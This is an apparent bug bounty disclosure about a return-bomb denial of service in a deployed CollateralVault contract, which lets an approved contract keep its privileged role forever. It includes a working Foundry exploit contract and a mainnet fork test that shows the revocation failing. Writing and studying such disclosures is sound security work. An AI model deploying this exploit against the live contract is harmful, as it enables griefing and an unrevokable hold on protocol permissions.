Submitted on Oct 19th 2024 at 00:52:12 UTC by @auditweiler for Audit Comp | Anvil
- Report ID: #36092
- Report Type: Smart Contract
- Report severity: Insight
- Target: https://etherscan.io/address/0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f
- Impacts:
- Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
- Unbounded gas consumption
Once assigned the `collateralizableContract` role, this contract can prevent retain the protocol administrator from ever removing the role.
The role of the `collateralizableContract` within the `CollateralVault` is extremely valuable, as it provides the elevated permission to interact with user collateral reservations.
Through the use of a Return Bomb Attack, a `CollateralizableContract` can exploit the ERC-165 `supportsInterface(bytes4)` call to enact denial of service on the protocol `owner()` whenever they attempt to remove this status:
```solidity function upsertCollateralizableContractApprovals( CollateralizableContractApprovalConfig[] calldata _updates ) external onlyOwner { for (uint256 i = 0; i < _updates.length; i++) { address contractAddress = _updates[i].collateralizableAddress; if (contractAddress == address(0)) revert InvalidTargetAddress(contractAddress); collateralizableContracts[contractAddress] = _updates[i].isApproved;
bool isCollateralPool;
try IERC165(contractAddress).supportsInterface(type(ICollateralPool).interfaceId) {
// NB: We have to get the returndata this way because if contractAddress does not implement IERC165,
// it will not return a boolean, so adding `returns (bool isCollateralPool)` to the try above reverts.
assembly ("memory-safe") {
// Booleans, despite being a single bit, are ABI-encoded to a full 32-byte word.
if eq(returndatasize(), 0x20) {
// Memory at byte indexes 0-64 are to be used as "scratch space" -- perfect for this use.
returndatacopy(0, 0, 0x20)
// Since this block could be hit by any fallback function that returns 32-bytes (i.e. an integer),
// do a check for exactly 1 when setting `isCollateralPool`. Note: fallback functions should not
// return data, and the consequences of getting this wrong are extremely minor and off-chain.
if eq(mload(0), 1) {
isCollateralPool := true
}
}
}
@> } catch (bytes memory) { @> // contractAddress does not implement IERC165. `isCollateralPool` should be false in this case @> }
emit CollateralizableContractApprovalUpdated(_updates[i].isApproved, contractAddress, isCollateralPool);
}
} ```
Notice that in the `catch` clause of the call to `supportsInterface`, the `bytes memory` variable remains. Although the variable is unnamed, this implementation specifically instructs the Solidity compiler to load the entirety of the returned data into memory, even though it is unused.
Consequently, a malicious contract can force the call to `upsertCollateralizableContractApprovals` to `revert` by specifying an execessively large amount of data to return from within the parent call context.
This renders the `upsertCollateralizableContractApprovals` function impotent, enabling the `collateralizableContract` to retain it's role.
The valuable `collateralizableContract` role can be held indefnitely. In the context of a batch upgrade, a malicious `CollateralizableContract` may also prevent competing `collateralizableContract`s from being approved.
As the `CollateralVault` itself is immutable, the role will be held indefinitely.
https://etherscan.io/address/0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f?utm\_source=immunefi#code
In Foundry, run the following test using:
```shell forge test -vv ```
> Note, you'll need to define a mainnet `ETH_RPC_URL`.
```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
/// @notice A contract which DOSs the `CollateralVault` if /// @notice it attempts to no longer mark them as a /// @notice `CollateralizableContract`. contract ImmortalCollateralizable { address internal immutable _COLLATERAL_VAULT;
constructor(address collateralVault) {
_COLLATERAL_VAULT = collateralVault;
}
function supportsInterface(bytes4) external view returns (bool) {
// Check to see if the sender is the `CollateralVault`.
if (msg.sender == _COLLATERAL_VAULT) {
bool success;
bytes memory data;
(success, data) = _COLLATERAL_VAULT.staticcall(
abi.encodeWithSignature(
"collateralizableContracts(address)",
address(this)
)
);
require(success);
// Check to see if we are being configured to be no longer
// recognized as `Collateralizable`.
if (!abi.decode(data, (bool))) {
// Make the attempt to remove us fail via
// a returnbomb attack.
assembly {
revert(0, 1000000)
}
}
}
return true;
}
}
contract ImmortalCollateralizableTest is Test { struct CollateralizableContractApprovalConfig { address collateralizableAddress; bool isApproved; }
address internal _owner;
address internal _collateralVault;
address internal _collateralizableAddress;
function setUp() external returns (bool success, bytes memory data) {
vm.createSelectFork(vm.envString("ETH_RPC_URL"));
_collateralVault = 0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f;
_collateralizableAddress = address(
new ImmortalCollateralizable({collateralVault: _collateralVault})
);
(success, data) = _collateralVault.staticcall(
abi.encodeWithSignature("owner()")
);
require(success);
_owner = abi.decode(data, (address));
}
function modifyCollateralizableApprovalStatus(bool isApproved) external {
vm.startPrank(_owner);
CollateralizableContractApprovalConfig[]
memory collateralizableContractApprovalConfigs = new CollateralizableContractApprovalConfig[](
1
);
collateralizableContractApprovalConfigs[
0
] = CollateralizableContractApprovalConfig({
collateralizableAddress: _collateralizableAddress,
isApproved: isApproved
});
(bool success, ) = _collateralVault.call(
abi.encodeWithSignature(
"upsertCollateralizableContractApprovals((address,bool)[])",
collateralizableContractApprovalConfigs
)
);
require(success);
vm.stopPrank();
}
/// @notice A collateralizable contract can maintain its
/// @notice status as collateralizable indefinitely through
/// @notice the use of a returnbomb.
/// @dev We'll be using a realistic amount of callgas to
/// @dev demonstrate the vulnerability.
function testImmortalCollateralizable() external {
/// @notice We can successfully assign the privileged role:
this.modifyCollateralizableApprovalStatus{gas: 100_000}({
isApproved: true
});
console.log("Approval status assignment succeeded!");
/// @notice However, attempts to unset the role can be locked forever:
vm.expectRevert();
this.modifyCollateralizableApprovalStatus{gas: 100_000}({
isApproved: false
});
console.log("Approval status removal failed!");
}
} ```
This should result in the following output, demonstrating the `collateralizableContract` role can be retained:
```shell Ran 1 test for test/Counter.t.sol:ImmortalCollateralizableTest [PASS] testImmortalCollateralizable() (gas: 149659) Logs: Approval status assignment succeeded! Approval status removal failed!
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.89s (488.07ms CPU time)
Ran 1 test suite in 2.05s (1.89s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ```